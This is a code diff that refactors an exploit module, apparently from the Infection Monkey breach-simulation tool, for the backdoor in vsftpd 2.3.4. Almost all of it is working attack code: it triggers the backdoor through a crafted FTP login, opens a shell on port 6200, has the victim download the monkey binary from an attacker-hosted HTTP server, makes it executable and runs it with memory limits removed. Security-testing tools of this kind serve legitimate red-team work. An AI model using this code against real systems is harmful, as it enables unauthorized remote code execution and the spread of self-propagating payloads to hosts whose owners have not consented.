diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c4db287dc..ab848cc0d 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -7,90 +7,83 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from infection_monkey.model import MONKEY_ARG +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.web_rce import WebRCE from logging import getLogger LOG = getLogger(__name__) __author__ = 'D3fa1t' -FTP_PORT = 21 -TRANSFER_UPDATE_RATE = 15 -USERNAME = b'USER letmein:)\n' -PASSWORD = b'PASS please\n' -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - +FTP_PORT = 21 # port at which vsftpd runs +BACKDOOR_PORT = 6200 # backdoor port +RECV_128 = 128 # In Bytes +UNAME_M = "uname -m" +ULIMIT_V = "ulimit -v " # To increase the memory limit +UNLIMITED = "unlimited;" +USERNAME = b'USER D3fa1t:)\n'# Ftp Username +PASSWORD = b'PASS please\n' # Ftp Password +DOWNLOAD_TIMEOUT = 300 +FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux'] - - def __init__(self, host): + + def __init__ (self, host): self._update_timestamp = 0 super(VSFTPDExploiter, self).__init__(host) self.skip_exist = self._config.skip_exploit_if_file_exist - def socket_connect(s,ip_addr,port): + def socket_connect(self, s, ip_addr, port): try: - s.connect((ip_addr,port)) + s.connect((ip_addr, port)) return True except socket.error as e: - LOG.error('Failed to connect to %s' , self.host.ip_addr) - - return False - - def socket_send_recv(s,message): - try: - s.send(message) - return s.recv(128).decode('utf-8') - - except socket.error as e: - LOG.error('Failed to send payload to %s' , self.host.ip_addr) - + LOG.error('Failed to connect to %s', self.host.ip_addr) return False - def socket_send(s,message): + def socket_send_recv(self, s, message): try: s.send(message) - return True - + return s.recv(RECV_128).decode('utf-8') except socket.error as e: - LOG.error('Failed to send payload to %s' , self.host.ip_addr) - + LOG.error('Failed to send payload to %s', self.host.ip_addr) return False - - + def socket_send(self, s, message): + try: + s.send(message) + return True + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + def exploit_host(self): - - LOG.info('Attempting to trigger backdoor...') + LOG.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - - if socket_connect(ftp_socket,self.host.ip_addr, FTP_PORT): - ftp_socket.recv(128).decode('utf-8') - - # Attempt to login to trigger backdoor - - if socket_send_recv(ftp_socket,USERNAME): - if socket_send_recv(ftp_socket,PASSWORD): - ftp_socket.close() - LOG.info('Triggered backdoor') - else: - LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) - return False + + if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): + ftp_socket.recv(RECV_128).decode('utf-8') + + if self.socket_send_recv(ftp_socket, USERNAME): + time.sleep(FTP_TIME_BUFFER) + self.socket_send(ftp_socket, PASSWORD) + ftp_socket.close() + LOG.info('Backdoor Enabled, Now we can run commands') else: LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) return False - + LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - if socket_connect(backdoor_socket,self.host.ip_addr, 6200): + if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - - command = str.encode("uname -m" + '\n') - response = socket_send_recv(backdoor_socket,command) + uname_m = str.encode(UNAME_M + '\n') + response = self.socket_send_recv(backdoor_socket, uname_m) + if response: LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): @@ -98,66 +91,54 @@ class VSFTPDExploiter(HostExploiter): self.host.os['machine'] = response.lower().strip() self.host.os['type'] = 'linux' else : - LOG.info("Failed to execute command uname -m on victim %r ",self.host) + LOG.info("Failed to execute command uname -m on victim %r ", self.host) src_path = get_target_monkey(self.host) - LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) + LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - - # copy the monkey into the machine + # Create a http server to host the monkey http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux - LOG.info("Download link for monkey is %s",http_path) - - # download the monkey - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) - LOG.info("Download_command is %s",download_command) - - download_command = str.encode(str(download_command) + '\n') + LOG.info("Download link for monkey is %s", http_path) - if socket_send(backdoor_socket,download_command): + # Upload the monkey to the machine + monkey_path = dropper_target_path_linux + download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} + download_command = str.encode(str(download_command) + '\n') + LOG.info("Download command is %s", download_command) + if self.socket_send(backdoor_socket, download_command): LOG.info('Monkey is now Downloaded ') else: - LOG.error('Failed to download monkey at %s' , self.host.ip_addr) + LOG.error('Failed to download monkey at %s', self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - # changeit to executable - - Change_exec_permission = "/bin/chmod +x %s" % dropper_target_path_linux - LOG.info("Change_exec_permission is %s",Change_exec_permission) - - Change_exec_permission = str.encode(str(Change_exec_permission) + '\n') - - if socket_send(backdoor_socket,Change_exec_permission): - LOG.info('Monkey can now be executed ') - else: - LOG.error('Failed to make the monkey executable at %s' , self.host.ip_addr) - return False - + # Change permissions + change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} + change_permission = str.encode(str(change_permission) + '\n') + LOG.info("change_permission command is %s", change_permission) + backdoor_socket.send(change_permission) + + # Run monkey on the machine + parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + + # Set unlimited to memory + run_monkey = ULIMIT_V + UNLIMITED + run_monkey + run_monkey = str.encode(str(run_monkey) + '\n') + time.sleep(FTP_TIME_BUFFER) + if backdoor_socket.send(run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + self._exploit_info['Vulnerability'] = {"Success":"True"} + return True + else: + return False + - # run the monkey - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" - - run_monkey = str.encode(str(cmdline) + '\n') - if socket_send(backdoor_socket,run_monkey): - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - else: - LOG.error('Monkey failed to run at %s' , self.host.ip_addr) - return False - - - self._exploit_info['Vulnerability'] = {"Success":"True"} - - return True